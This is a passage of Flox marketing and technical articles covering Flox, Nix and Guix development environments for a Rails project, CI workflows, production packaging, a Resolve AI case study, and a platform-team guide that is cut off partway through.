waits for it to accept connections | | `dbdown` | `scripts/db-down` — stops the container, preserving data in the `pgdata` volume | | `dbreset` | `scripts/db-reset` — destroys the volume, recreates the container, runs migrations, and seeds | ``` A **`bundle`** wrapper function auto-generates binstubs after successful **`bundle install`** runs. In this deep dive, each environment defines helper aliases that engineers run manually to start local services, but it’s just as practicable to automate these actions as part of a built-in activation hook. With a bit of shell logic, the environment as a whole could be made completely turnkey: no assembly required. The following section walks through how to work inside the Flox, Nix, and Guix environments. Because all three environments surface the same behavior and convenience wrappers, the instructions are the same. ### Working inside Flox / Nix / Guix Standardized Dev Environments Once inside the shell, start the application: ```bash dbup # start PostgreSQL in Docker bundle install # install gems (first time only) bundle exec rails db:setup # create and seed the database (first time) dev # start the Rails server ``` To override database defaults at runtime, set them before activating or entering the environment. The same shortcut aliases are available: **`rs`**, **`rc`**, **`dev`**, **`tests`**, **`build-image`**, **`dbup`**, **`dbdown`**, **`dbreset`**, and the **`bundle`** wrapper that auto-generates binstubs. With the server running, verify the health endpoint and exercise the API: ```bash curl http://localhost:3000/health # => {"status":"ok","database":"connected"} curl http://localhost:3000/items # => [{"id":1,"name":"Example Item","description":"Created by db:seed ..."}] curl -X POST http://localhost:3000/items \ -H "Content-Type: application/json" \ -d '{"item": {"name": "demo", "description": "created from the shell"}}' # => {"id":2,"name":"demo","description":"created from the shell", ...} ``` Run the test suite (the script prepares the test database automatically): ```bash tests # full suite tests test/controllers/items_controller_test.rb:15 # single test by line ``` Use **`psql`** to connect to the containerized database directly — the PostgreSQL client is part of the declared environment, not something installed separately: ```bash psql -h localhost -U postgres -d traveling_rails_poc_development -c '\dt' ``` Open a Rails console to inspect data interactively: ```bash rc # >> Item.count # => 1 # >> Item.create(name: "second", description: "from the console") ``` Audit gems for known vulnerabilities: ```bash bundle exec bundler-audit check ``` Generate a new model and run the resulting migration: **Note:** The generate and migrate steps create files on disk and a table in the shared database. If you already ran them in one walkthrough and want to try them again from another environment, clean up first: ```bash rm app/models/review.rb db/migrate/*_create_reviews.rb test/models/review_test.rb test/fixtures/reviews.yml bundle exec rails db:rollback ``` Then do: ```bash bundle exec rails generate model Review item:references body:text bundle exec rails db:migrate ``` Check the existing routes: ```bash bundle exec rails routes ``` When you are done, stop the server with **Ctrl-C** and tear down the database container: ```bash dbdown ``` ## Standardized Dev Environments Travel to CI The irony of the dev container model is that even though the OCI container image is the default intermodal unit for shipping and running software, the dev container image usually _isn’t_ the object that transits the SDLC. True, sometimes teams pass along the Dockerfile/**`devcontainer.json`** config and rebuild this image at different stages. But this isn’t the most common pattern. More often than not, project source code advances, while CI and release pipelines build or run separate test and production images. With dev containers, then, what travels to CI is usually the source repository plus the CI definition. From there, CI produces either (a) a build artifact, (b) a package with release metadata, or (c) a production OCI image based on the source, build instructions, dependency graph, release config, etc. In most cases, Git is the system of record for source and config; artifact and/or image registries manage the built outputs. Standardized dev environments drop right into this workflow. Teams version, review, share, and promote code via the source repository and version control (usually Git). But remember, too, that a standardized dev environment travels with its project as part of the repo. Flox environments live in **`./flox`**; Nix shells define **`flake.nix`** and **`flake.lock`**; Guix shells **`manifest.scm`** and **`setup_env.sh`**. So in this pattern, the dependency graph required to build, test, run, or operate project code moves along with it. ### Flox environments in CI The Flox manifest is the source of truth for the project’s runtime, so CI consumes it as-is rather than duplicating this runtime in a YAML workflow. The GitHub Actions workflow shows how this works: ```yaml name: CI on: push: pull_request: jobs: test: runs-on: ubuntu-24.04 services: postgres: image: postgres:16 env: POSTGRES_PASSWORD: postgres options: >- --health-cmd "pg_isready -U postgres" --health-interval 10s --health-timeout 5s --health-retries 5 ports: - 5432:5432 env: RAILS_ENV: test PGHOST: localhost PGPORT: 5432 PGUSER: postgres PGPASSWORD: postgres steps: - uses: actions/checkout@v4 - name: Install Flox uses: flox/install-flox-action@v2 - name: Install dependencies via Flox uses: flox/activate-action@v1 with: command: bundle install - name: Setup database uses: flox/activate-action@v1 with: command: bundle exec rails db:create db:migrate - name: Run tests uses: flox/activate-action@v1 with: command: bundle exec rails test ``` There's no **`ruby-setup`** action, no version matrix, and no **`.tool-versions`** file to keep synced. The Flox manifest pins the Ruby version, and **`flox activate`** pulls in Ruby plus all other dependencies. PostgreSQL runs as a GitHub Actions service container. This mirrors the bicameral structure in local dev. ### Nix flakes in CI The pattern works exactly the same with Nix. Instead of recreating the Ruby toolchain via a language-specific setup action, CI enters the Nix dev shell and runs the same commands engineers run locally. ```yaml name: CI on: push: pull_request: jobs: test: runs-on: ubuntu-24.04 services: postgres: image: postgres:16 env: POSTGRES_PASSWORD: postgres options: >- --health-cmd "pg_isready -U postgres" --health-interval 10s --health-timeout 5s --health-retries 5 ports: - 5432:5432 env: RAILS_ENV: test PSQL_HOST: localhost PSQL_PORT: 5432 PSQL_USER: postgres PSQL_PASSWORD: postgres PSQL_DATABASE: rails_poc_test steps: - uses: actions/checkout@v4 - name: Install Nix uses: DeterminateSystems/nix-installer-action@v17 - name: Restore and populate Nix cache uses: DeterminateSystems/magic-nix-cache-action@v9 - name: Install dependencies run: nix develop --command bundle install - name: Setup database run: nix develop --command bundle exec rails db:prepare - name: Run tests run: nix develop --command bundle exec rails test ``` ### Guix shells in CI Guix supports the same workflow: the project-specific shell setup lives in **`setup-env.sh`**, so CI activates this to enter the Guix shell, source the setup script, and run the project commands. ```yaml name: CI on: push: pull_request: jobs: test: runs-on: ubuntu-24.04 services: postgres: image: postgres:16 env: POSTGRES_PASSWORD: postgres options: >- --health-cmd "pg_isready -U postgres" --health-interval 10s --health-timeout 5s --health-retries 5 ports: - 5432:5432 env: RAILS_ENV: test PSQL_HOST: localhost PSQL_PORT: 5432 PSQL_USER: postgres PSQL_PASSWORD: postgres PSQL_DATABASE: rails_poc_test steps: - uses: actions/checkout@v4 - name: Install Guix uses: PromyLOPh/guix-install-action@v1 - name: Install dependencies run: | guix shell -m manifest.scm -- bash -lc ' source ./setup-env.sh bundle install ' - name: Setup database run: | guix shell -m manifest.scm -- bash -lc ' source ./setup-env.sh bundle exec rails db:prepare ' - name: Run tests run: | guix shell -m manifest.scm -- bash -lc ' source ./setup-env.sh bundle exec rails test ' ``` ## From Dev Environment to Production Artifacts Flox, Nix, and Guix make it possible for teams to deploy to production with the same environment they use to build and test locally and in CI. This section walks through how this works with each technology. ### Deploying with Flox Flox provides explicit development (**`--mode dev`**) and runtime (**`--mode run`**) [activation modes]((https://flox.dev/docs/concepts/activation#development-vs-runtime-mode)); supports reproducible builds that either reuse a team’s existing recipes or run as Nix expressions; and emits distroless OCI images via the **`flox containerize`** command. Flox officially supports an “[imageless](https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/)” deployment pattern to Kubernetes. Teams deploy their pods by referencing versioned, declarative Flox environments instead of building and pulling OCI container images. Kubernetes still runs the same Pod specs, RuntimeClass, CRI, and containerd workflow. Flox environments activate in **`run`** mode by default in the imageless Kubernetes pattern, so a Flox standardized dev environment running on K8s ipso facto becomes a Flox **runtime** environment. For conventional deployments, teams can package the Flox CLI into OCI images for Kubernetes, or bake the CLI into AMIs / other VM images for deploying on VM infrastructure. The container entrypoint or VM init service activates the Flox environment in **`run`** mode at startup (e.g., **`flox activate --mode run`**), so dependencies from the Flox environment are used to serve the production workload. Runners pull Flox environments dynamically at runtime either by cloning them from Git repos or pulling them from FloxHub. In this last pattern, the workload spec need only reference an environment and a generation, like so: ```bash flox activate -r foo-industries/o11y-listener -g ``` Teams can also use their declarative Flox environments as a base for generating distroless containers ```bash flox containerize --runtime docker ``` This produces a distroless OCI-compliant container image: it doesn’t ship with a base image, just the packages declared in the Flox environment. The same pattern works with FloxHub environments too: ```bash flox containerize -r foo-industries/o11y-listener --runtime docker ``` In production, orgs usually avoid rebuilding custom packages at runtime. So while building and running from the same Flox standardized dev environment is an option, most teams use CI or a build farm to package and publish custom software to their organization’s private Flox Catalog, or to a private Nix binary cache. (Flox is built on Nix, so orgs can and do maintain their own private Nix binary caches, defining them as [Nix substituters](https://nix.dev/guides/recipes/add-binary-cache.html).) Runners can pull from these sources and materialize the hashed paths into a node-local **`/nix/store`** at deployment. The custom package that powers the hypothetical **`o11y-listener`** environment can be defined along with others: ```toml [install] o11y-listener.pkg-path = "foo-industries/o11y-listener" o11y-listener.pkg-group = "o11y-listener" cacert.pkg-path = "cacert" tzdata.pkg-path = "tzdata" curl.pkg-path = "curl" jq.pkg-path = "jq" ``` This gives orgs a reproducible path to deployment. The runner or node pulls the required Nix archive (**`.nar`**) files from the the organization’s private Flox Catalog or binary cache, realizes them in its local Nix store, and starts from an immutable store path that links to the declared Nix packages. Rollbacks are atomic switches back to a previous environment store path, Git commit, or FloxHub generation. ### Deploying with Nix With Nix, too, the same standardized development environment can travel from local dev → to CI → to production. The Nix flake already defines the dependencies the compiled project needs to run and behave reproducibly in the production context. The beauty of Nix is that the same flake that defines a **`devShell`** for local and CI work can also be used to build production-ready **packages**, as well as emit production-ready OCI images. In this pattern, teams reuse the same pinned inputs and package definitions across development, CI, and production, but expose a small runtime closure for deployment. In production, teams usually avoid rebuilding custom packages at runtime. Instead, CI builds the Nix runtime closure, signs it, and publishes the resultant store paths to the org’s private [binary cache](https://nixos.wiki/wiki/Binary_Cache). Production nodes, CI runners, or deployment agents pull packages from that cache, treating it as a [Nix trusted substituter](https://search.nixos.org/options?channel=unstable&query=nix.settings.substituters#show=option%253Anix.settings.trusted-substituters) and materializing the required paths into a local **`/nix/store`** at deployment. ``` nix build \ --substituters https://cache.example.com \ --trusted-public-keys cache.example.com: \ .#o11y-listener ``` This gives teams a reproducible deployment path. The runner or node pulls the already-built closure from the local Nix store or fetches **`.nar`** files from the org’s private binary cache. The runtime itself starts from an immutable store path that links to the declared packages. The pattern is completely declarative, so upgrades and rollbacks are atomic switches to or from a new/previous store path or Git commit. Nix can also produce production artifacts for both container and VM-based deployments. For Kubernetes, teams commonly use **`dockerTools.buildImage`** or **`dockerTools.buildLayeredImage`** from **`nixpkgs`** to build OCI/Docker images from Nix flakes or expressions. The resultant image is distroless, consisting of the service binaries and/or libraries, along with their complete runtime closure, rather than a base image with non-workload-specific dependencies. **`nixpkgs`**’s Docker image builders can notionally produce reproducible image outputs by defaulting to a static creation date, so the image artifact is always a function of its declared inputs. A minimal image definition might look like this: ```nix { description = "Nix-built production container image"; inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-25.05"; outputs = { self, nixpkgs, ... }: let system = "x86_64-linux"; pkgs = import nixpkgs { inherit system; }; o11y-listener = pkgs.callPackage ./package.nix { }; passwd = pkgs.dockerTools.fakeNss.override { extraPasswdLines = [ "o11y-listener:x:10001:10001:o11y-listener:/var/empty:/bin/sh" ]; extraGroupLines = [ "o11y-listener:x:10001:" ]; }; in { packages.${system}.container = pkgs.dockerTools.buildLayeredImage { name = "o11y-listener"; tag = "latest"; contents = [ o11y-listener pkgs.dockerTools.caCertificates passwd # Optional: add only if you need interactive shell access. # pkgs.dockerTools.binSh ]; config = { User = "10001:10001"; Cmd = [ "${o11y-listener}/bin/o11y-listener" ]; Env = [ "SSL_CERT_FILE=/etc/ssl/certs/ca-bundle.crt" ]; ExposedPorts = { "8080/tcp" = { }; }; }; }; packages.${system}.default = self.packages.${system}.container; }; } ``` ### Deploying with Guix Guix provides comparable primitives via manifests, channels, profiles, isolated builds, and **[guix pack](https://guix.gnu.org/manual/1.5.0/en/html_node/Invoking-guix-pack.html)**, which can emit “shrink-wrapped packs” consisting of relocatable tar archives, Docker images, **[SquashFS](https://docs.kernel.org/filesystems/squashfs.html)** images, or other packaged archives. Guix does not provide a direct equivalent to FloxHub, Flox generations, or Flox’s imageless Kubernetes runtime pattern. Its production model is closer to upstream Nix: teams pin channels, define package manifests or system configurations, build packages and system artifacts reproducibly, and publish the resulting store items to a substitute server or artifact registry. For production, teams often define a smaller runtime manifest alongside the dev manifest. Both manifests resolve against the same pinned Guix channel state, so local dev, CI, and production define the same packages and source graph, while production materializes the closure needed to run the workload: ```scheme ;; runtime-manifest.scm (specifications->manifest (list "o11y-listener" "openssl")) ``` CI then builds the runtime closure from the pinned Guix channel state: ```bash guix build -m runtime-manifest.scm ``` For repeatable use, teams commit a Guix channel file and use **`guix time-machine`** to run builds against a fixed Guix revision: ```bash guix time-machine -C channels.scm -- build -m runtime-manifest.scm ``` As with Nix, orgs do not typically rebuild custom packages at runtime; instead, CI or a build farm builds the runtime closure and publishes to a private binary cache with **`guix publish`**. Nodes, runners, or deployment agents configure Guix to trust the private cache as a Guix substituter server and materialize the required store items into the local **`/gnu/store`** at deploy time: ```bash guix build \ --substitute-urls='https://ci.guix.gnu.org https://cache.example.com' \ -m runtime-manifest.scm ``` For Kubernetes and other container platforms, Guix can package a manifest as an OCI image. You use **`guix pack`** to produce a Docker-compatible image archive based on the Guix runtime manifest. For reproducible CI builds, run **`guix pack`** with **`guix time-machine`** with a tracked **`channels.scm`**: ```bash rm -f result guix time-machine -C channels.scm -- \ pack \ -f docker \ -m runtime-manifest.scm \ --entry-point=bin/o11y-listener \ --image-tag=o11y-listener:latest \ --save-provenance \ -r result ``` This creates a **`result`** symlink pointing to the image archive in the Guix store. The **`--save-provenance`** switch makes it easier to inspect which Guix channels were used to produce the image. Next, load the image into the local container runtime: ```bash docker load < result ## optional smoke test docker run --rm \ --user 10001:10001 \ -e SSL_CERT_FILE=/etc/ssl/certs/ca-bundle.crt \ -p 8080:8080 \ --memory 256m \ --cpus 1 \ o11y-listener:latest ``` For production, you configure runtime settings in the deployment layer, be it Kubernetes, Nomad, Docker Compose, systemd, etc. This yields a clean separation of concerns: The Guix **`manifest.scm`** declares the software contents of the image; the deployment config declares how the container runs. Tag and push the image via your registry workflow: ```bash : "${GIT_SHA:?GIT_SHA must be set}" docker tag \ o11y-listener:latest \ "registry.example.com/o11y-listener:${GIT_SHA}" docker push \ "registry.example.com/o11y-listener:${GIT_SHA}" ``` Guix can also produce relocatable tarballs for hosts where teams want to distribute a runtime without installing the full profile into a conventional system location: ```bash guix pack \ --relocatable \ -m runtime-manifest.scm ``` In these patterns, Guix acts as the reproducible build and packaging substrate: pinning package sources through channels; building packages and runtime closures in isolated environments; publishing substitutes for production hosts; and emitting container images, relocatable packs, or whole-system VM images. ## Concluding Unscientific Postscript This article doesn’t present an unbiased overview of standardized development environments in action. Its opinionated point of departure is that working in a **declared, graph-backed** standardized dev environment like Nix, Guix, or Flox is the best, fastest, most reliable way to develop locally. Unlike dev containers or dev cloud shells, this gives teams a reproducible project runtime without walling off engineers from their local machines. But this article isn’t at all anti-container! It asserts the strong opinion that a pattern pairing Nix, Guix, or Flox with backing services running in containers gives orgs the best of both worlds in local dev and beyond Dev and platform teams get a clear separation of concerns. The declared, graph-backed environment pins the language runtime, native libraries, build tools, and shell behavior as part of the project repo, so engineers can build, test, debug, and operate locally using the same inputs across machines and over time. Containers, meanwhile, run the backing services the project depends on: PostgreSQL, Redis, and any other services used in CI and production. Unlike with dev containers, engineers don’t work _inside_ the container boundary; they connect using the host, port, credential, and database settings their project uses. This pattern _travels_, too: from local laptop → CI → production packaging, the runtime’s dependency graph advancing alongside project code. The upshot is that the same declared, graph-backed inputs which make local development fast and repeatable also give teams a secure, reproducible path to testing, packaging, and deployment, with simple, atomic upgrades / rollbacks for good measure. Title: How Resolve AI Eliminated Works-on-My-Machine Source: https://flox.dev/case-studies/how-resolve-ai-eliminated-works-on-my-machine/ Date: 2026-06-01 Category: case-study # How Resolve AI Eliminated Works-on-My-Machine See how Flox gives Resolve AI reproducible, deterministic development environments that reduce debugging overhead, increase engineering confidence, and help ship products and features faster. Resolve AI builds purpose-trained models and multi-agent systems that autonomously investigate, diagnose, and remediate incidents in production environments. Coinbase, DoorDash, Salesforce, and others rely on Resolve AI to analyze incidents, identify root causes, and fix production issues in a fraction of the time required by other methods. In just 18 months, the company has raised more than $190 million, announced a $40 million Series A Extension—at a $1.5 billion valuation—and launched Resolve AI Labs. Resolve AI adopted Flox to anchor a controlled, reproducible software delivery path from local development to production. Flox provides the standardization and reliability Resolve AI’s engineering team needs to build and iterate rapidly locally. By standardizing the environment in which tools and code run, Flox gives Resolve AI a foundation it can bring forward into CI and production, with pinned Flox environments serving as declarative recipes for OCI images and reproducible behavior at runtime. “Flox gives us a reproducible foundation we can trust, which matters more and more as our team grows,” says Amin Karbas, a member of the technical staff with Resolve AI. “Flox also gives us a much more controlled path for shipping software fast and reliably.” ## The Cascading Cost of “Works on My Machine” Before Flox, Resolve AI operated like most early-stage startups. Engineers onboarded via a mix of docs, scripts, package managers, and tribal knowledge, each configuring their own local development setup. As Resolve AI scaled, however, chronic works-on-my-machine failures started surfacing. An engineer would push code from their local machine; their teammates would go to pull it and discover that it would not compile or run. Engineers also had no way to mix and match current and older package versions on their machines: updating one package would force updates to others. This is problematic because production code frequently requires specific versions of libraries and tools. The team found itself in a classic double bind: Upgrading packages could break existing setups; not upgrading would block new work. “We could tell people what to install, but we couldn’t make sure they were actually on the same thing. And once that’s true, you don’t know whether a failure is in the code or somebody’s machine,” Amin explains. The combination of frequency and _blast radius_ is what makes “works on my machine” failures so expensive, he says. “It’s almost never just one person’s machine. Something changes in the environment and pretty quickly you’re pulling other people in to figure out what changed, why a build broke, and how to get everybody back to the same place,” Amin observes. “Work stops while you figure out whether you’re looking at a regression in the code or just a divergence in somebody’s local environment.” ## A Very Short List of Solutions The list of solutions that could give Resolve AI the strong reproducibility guarantees it needed was limited: dev containers, cloud dev shells, open source Nix, or Nix-adjacent commercial software. That’s how Amin found Flox, the package manager, environment manager, and reproducible build system built on top of open source Nix. Flox would give Resolve AI a foundation for reproducibility, determinism, atomicity, and declarativity across the SDLC: the same Flox environments that engineers use in local development could run exactly the same way, with exactly the same dependencies, in CI and production. Unlike Nix, Flox has virtually no learning curve: Users define environments declaratively, in human-readable TOML. Commands like **`flox init`**, **`flox install`**, **`flox search`**, and **`flox activate`** are intuitive to anyone familiar with **`git`**, **`npm`**, or **`pip`**. Teams would be able to onboard quickly. “What I liked about Flox was its simplicity. It allows us to define and work with environments in a way people can read, understand, and use. I didn’t worry about adoption becoming its own project,” he says. And unlike dev containers or cloud dev shells, Flox doesn’t hermetically isolate engineers from their local machines. Flox environments don’t require them to configure access to local resources via filesystem mounts, forwarded ports, injected secrets, or cloud workspace storage. Best of all, Flox environments always run unvirtualized, with optimized, platform-native packages on macOS and Linux, x86 or ARM. “Flox doesn’t make us choose between strong reproducibility and a normal local workflow,” Amin points out. “You get strong reproducibility on your local machine. When you share what you’ve built, it just works.” ## Set It and Forget It Adoption was relatively fast and drama-free. Amin introduced Flox in phases, starting with a group of engineers open to trying the new approach. This gave the team a way to validate Flox in practice, building trust before asking everyone else to integrate it. The initial challenge was not so much technical as social: people had used tools like Homebrew for years, so Flox first had to prove it was worth trusting. That trust came quickly. New hires tended to start with Flox, while established engineers often moved over once they hit environment issues that Flox helped them resolve ... and, in some cases, would have helped them avoid. After a couple of months, Amin says, the rollout began to “produce.” Flox had become the team’s shared baseline: most engineers used it to work from the same environment, with the same package versions, instead of maintaining one-off local setups. Not every part of the new workflow mapped perfectly onto every engineer’s habits. Some still avoided automatic activation with **`direnv`** when rebases triggered extra setup time. But Flox became the starting point for _most_ engineers. Then something odd happened. For much of the team, Flox started to fade into the background. “We weren't spending the same amount of time thinking about the environment anymore, which is exactly what you want,” Amin says. No, the environment didn’t _completely_ disappear as an operational concern in every workflow (**`direnv`** setup time could still matter after rebases) but instead of engineers squandering time debugging their own local setups, the team as a whole could rely on Flox to provide standard, reproducible development environments for day-to-day work. Once adoption reached an inflection point, works-on-my-machine issues turned into “are you using Flox?”. Failures from undeclared, missing, or conflicting dependencies, failures that used to cascade far beyond local dev, disappeared. The team started using Flox as a shared, reproducible foundation for building and shipping work: creating new environments, supporting new projects, and replacing custom setups with declared, reproducible configurations across the codebase. “That's what I mean by ‘producing,’” Amin says. “People are comfortable using it and ‘works on my machine’ disappears. Flox stops being a thing people have to think about, except to do useful things.” ## Making the Environment Part of the Codebase Adopting Flox did not require Resolve AI to build a separate control plane for managing environments. Instead of reconstructing build or runtime environments from docs, memory, or tribal knowledge, teams define them alongside their code, in the same GitHub repositories. Code and its dependencies live in one place, change together, and move through version control as a unit. “That changed the repo from ‘here’s the code, figure out how to run it’ into something self-contained. You could hand it to someone and be confident they're going to get the same behavior you got,” Amin says. The key to this confidence is standardization. Once engineers share the same environments, the same package versions, and the same behavior at build time and runtime, an entire class of issues disappears. “Flox takes a lot of the guesswork out of day-to-day engineering, because you aren't constantly wondering: ‘Is this a real bug in the code or … is it just that something's different on somebody machine?’” Amin points out. For Resolve AI, the standardization enforced by Flox also changed how the engineering team operates. As the team adds people, expands its codebase, and ships new capabilities, local development no longer acts as a drag on growth. Standardized environments reduce onboarding time, simplify diagnosis, and cut rework, enabling Resolve AI to absorb the complexity that comes with rapid growth without slowing down. Building, testing, and shipping features, expanding infrastructure, and launching new services all become practicable and predictable. “Standardization means people focus on building the things we actually need to ship,” he explains. “The Flox environment is declared up front, so shipping downstream gets easier, too: Teams don't guess about what the code needs to build and run. It's defined in the environment." ## A Deterministic Foundation for AI-Native Operations Reproducibility and determinism are the key: AI runtime environments _must_ be deterministic, their dependencies and other inputs fixed across space and time, so agents can detect and diagnose actual system behavior, not the effects introduced by arbitrary dependencies or undeclared inputs in the runtime. For Resolve AI, Flox provides the deterministic foundation the company’s agents need to reliably distinguish between signal—genuine anomalies—and arbitrary noise in the runtime environment. This same foundation gives Resolve AI a controlled, repeatable path for building, testing, and shipping new features to production. Beyond local development, Flox environments provide a fixed point of reference that Resolve AI can carry forward into CI, staging, and production: CI, platform, and infrastructure teams use Flox environments and the package versions and inputs defined in them to author Dockerfiles or Compose files. And when debugging is required, any team anywhere, at any stage of the SDLC, can clone and run exactly the same Flox environment to reproduce issues. “Flox gives you this declarative reference, the Flox manifest, so you don’t have to rediscover what [dependencies] software needs for it to run,” Amin explains. “Plus, if something does go wrong, you don’t wonder whether it’s something real ... or an artifact of the machine it was built on. Teams spend less time chasing noise and more time working on actual issues.” Title: Platform Teams and the Challenge of Works-on-My-Machine Source: https://flox.dev/blog/platform-teams-and-the-challenge-of-works-on-my-machine/ Date: 2026-05-27 Category: guide # Platform Teams and the Challenge of Works-on-My-Machine A practical guide to creating and working with Flox standardized local development environments, including playbooks for defining, reproducing, and managing project environments at scale. Too often we treat "Works on my machine" as a punchline. But the problem it points to is anything but a laughing matter. What engineers run locally becomes the upstream input to every artifact that ships downstream, which means that different types of local inconsistency surface as failures in CI, in staging, and in production. At scale, then, the local development environment becomes a **platform problem**, and the responsibility for handling it falls on platform teams. These tend to respond in one of two ways: - Impose a strict boundary around local dev using technologies like dev containers, VMs, or cloud dev shells/workspaces; - Leave the local development environment to individual teams and developers. **Option 1** gives them control, but also makes them responsible for building, testing, securing, and supporting the environments in which engineers work. **Option 2** preserves local autonomy, but creates a permission structure for drift to accumulate until it shows up in CI, production, or incident response. But there is an **Option 3**: standardize what the project needs without dictating how every engineer works. That is the purpose of this playbook. ## Autonomy without Drift Figure: Chart depicting three approaches to dealing (or not dealing) with works-on-my-machine failures. **Option 3** is when the platform team standardizes how teams define and reproduce their project environments **without** forcing every team to standardize on the same environment. In this model, platform teams provide the equivalent of a standard **project runtime contract**: i.e., the set of packages, language runtimes, env vars, hooks, aliases, build recipes, etc. project needs to build, run, test, and ship in local development. This contract functions as the **declarative source of truth** for the development environment. When engineers collaborate on a project, they always work in the dev environment declared by the contract. In this pattern, the contract is the environment; the environment is the contract. Flox’s declarative model makes **Option 3** viable. Dev and platform teams collaborate to identify the tools and workflows that fit their domains and workstreams; once they agree on how to formalize these choices, the project environment becomes shared infrastructure. The platform team authors dev environments for each team, defining package dependencies, environment variables, and service definitions in human-readable TOML. Under the hood, Flox’s deterministic machinery resolves a compatible dependency graph and materializes all defined dependencies as hashed, immutable paths in a local store. The Flox environment consists of a declarative manifest, a lockfile that pins dependencies, and, optionally, a JSON file that references a remote FloxHub environment. Not only does every engineer on the team get exactly the same environment—anytime and anywhere; on macOS _or_ Linux, x86-64 _or_ ARM—but every CI runner, every review workflow, and every deployment job consumes the same declared contract. If necessary, other teams can reproduce the same environment (thanks to the shared contract) at any time. ## The Runtime Contract A runtime contract is the set of shared assumptions required for a project to build, ship, test, and deploy. It includes: * Language runtimes * Compilers and native build tools * System libraries * Package managers * Cloud and platform CLIs * Database clients * Environment variables * Setup hooks * Services * Aliases and functions * Build and test commands * Release and deployment tooling If this contract lives in a README, a Slack thread, a wiki, a series of docs in a Git repo, or someone’s head, nobody owns it in a meaningful way. Meaningful ownership requires that the contract be declared, versioned, reviewable, and **have an enforcement mechanism**. This aligns with the logic and rigor of CI/CD and the ethos of DevOps. For standardized development environments today, the most common solution to the problem of ownership is to use some variation of container virtualization: dev containers, container-like workflows, or adjacent approaches such as VMs and cloud shells. The problem is that in the container model the digest-pinned OCI image becomes the unit of control and promotion. Enforcement operates on a reference—the digest—but this corresponds to an opaque artifact: an already-materialized filesystem artifact whose contract is always at least partially inferred. In the Flox model, as with Nix, declarative machinery enforces the build- or runtime contract: the system doesn't merely _describe_ the desired environment; it uses machinery to constrain the environment's realization to its explicitly declared inputs and their resolved dependencies. With a Flox manifest and lockfile, anyone anywhere can materialize exactly the same build or runtime environment at any time. Figure: Diagram comparing an undeclared runtime contract scattered across READMEs, Slack threads, wikis, etc. with a declared runtime contract in a Flox manifest and lockfile. Before teams can declare and enforce a runtime contract, they first have to recover—excavate—it from the scattered sites in which it's buried. This work starts with inventory: discovering the assumptions dispersed across docs, scripts, Dockerfiles, CI jobs, service definitions, and lockfiles. Identifying and formalizing the undocumented habits that engineers rely on every day. Read more in [Playbook 1](/blog/playbook-1): Inventory the Runtime Contract. ## Container Workflows and the Inferred Build / Runtime Contract In a container-based workflow, the runtime contract is the combination of Dockerfile, dependency lockfile(s), image digest, and deployment manifest taken together. The Dockerfile is a procedural build script that itemizes what goes into a runtime; the OCI image materializes that itemization; the digest pins the result; and CI/CD materializes the implicit contract by building, testing, publishing, and deploying the artifacts that satisfy it. With the container model, however, there is no equivalent to the declarative rigor of the Nix/Flox model: the contract is always at least partially **inferred**. Platform teams cannot point to any one authoritative artifact and say: “I can use this to regenerate the environment the project requires.” True, they _can_ point to the OCI image and say: “This image encapsulates the runtime environment the project requires.” So long as teams pull and run the digest-pinned OCI image, and so long as this image remains viable, the runtime contract guarantees reproducibility. But maintaining a “contract” of this kind imposes two distinct operational burdens on platform teams. The **first** is that they become responsible for keeping digest-pinned images available, compatible with current infrastructure, and up-to-date, rebuilding them as requirements or conditions change. The **second** has to do with their [carrying cost](https://en.wikipedia.org/wiki/Carrying_cost): every change to the runtime contract gets materialized as a new digest-pinned image, which must first be rebuilt, pushed to a registry, pulled, tested, and validated. Keeping the contract (i.e., the digest-pinned image) current means rebuilding that image, resolving and revalidating its dependencies, scanning and signing the built artifact, pushing it to a registry, pulling it into each target context, testing it there, updating any deployment references, and preserving the old digest as a viable rollback target. Let's be upfront: Containers aren’t going anywhere. They’re useful and valuable, especially for packaging and running production services. The new priority is to determine the parts of the runtime contract for which they’re best suited. **Playbook 2** turns this question into a service-boundary decision: what belongs in the Flox project runtime, what belongs in backing-service containers, what belongs in CI, and what remains with the individual engineer. Read more in [Playbook 2](/blog/playbook-2): Decide Where the Service Boundary Belongs. ## Flox Workflows and the Declared Build / Runtime Contract Flox reverses the container model. Instead of treating an already-built image as the authoritative expression of the runtime contract, Flox makes the contract itself declarative and authoritative. The environment definition (**`manifest.toml`**) names the packages, tools, services, variables, hooks, and/or build logic the project requires. The lockfile (**`manifest.lock`**) pins the resolved dependency graph. Flox materializes that graph into immutable store paths at the point of use. This gives platform teams what the image-based container model does not: an authoritative artifact they can use to reproducibly regenerate the project environment at any time, in any place. A Flox environment consists of three basic parts: - **`manifest.toml`**, which declares the environment - **`manifest.lock`**, which pins the resolved package graph - **`env.json`** a reference that defines the environment as local (unversioned) or remote (versioned as a generation on FloxHub). To share these three files—typically less than 256KB of text—is to share the Flox environment. The Flox manifest is the contract; the Flox lockfile pins this contract. Running **`flox activate`** realizes the Flox environment, materializing the contract on a specific machine at a specific point in time. It doesn’t matter whether activation happens today, tomorrow, next week, or next year, the materialized environment will be exactly the same on that specific machine and its OS/hardware. This is the core difference between a digest-pinned OCI image and a declarative, graph-backed Flox environment: Teams can’t reliably regenerate the digest-pinned image from a Dockerfile, or from some combination of Dockerfile, lockfiles, base-image tags, package indexes, install scripts, registry state, and so on. The digest hash gives teams a deterministic way to retrieve the same **already-built** runtime environment; a Flox environment gives teams a deterministic "recipe" for **regenerating** the runtime environment from scratch. This means: - They can review the Flox environment as a human-readable document: i.e., a contract; - They can version it using either a version control system (like Git), FloxHub, or both; - They can update it by making simple, atomic edits; - They can publish it, either to a remote Git repo or to FloxHub; - They can reference it, pointing to either Git commits or FloxHub generations; - They can promote it by referencing it at each distinct delivery stage of the SDLC; - Optionally, they can layer or compose it with other Flox environments, creating rich stacks. The takeaway: the build or runtime is no longer trapped inside the artifact; the artifact—the Flox environment—**declares** the contract. It’s the difference between a perfectly baked strawberry short cake and a reproducible recipe for baking a strawberry short cake perfectly every time. Read more in [Playbook 3](/blog/playbook-3): Map Docker and Compose Artifacts to the Declared Flox Environment. ## From Container Artifacts to a Standardized Flox Dev Environment With Flox, engineers need not be cordoned inside a containerized userspace or VM in order to work in a standardized dev environment. Instead, dev teams retain autonomy over the tools and workflows that suit their workstreams, while platform teams own the operating model for the runtime contract, defining how environments get declared, how changes get reviewed, how shared foundations get published, how CI consumes them; how vulnerable hashes get blocked, and how teams promote or roll back environment versions. The last step is to operationalize the contract. Once teams agree on the runtime inputs and service boundaries, the Flox environment definition lives and travels with the project itself. This means committing the Flox manifest and lockfile 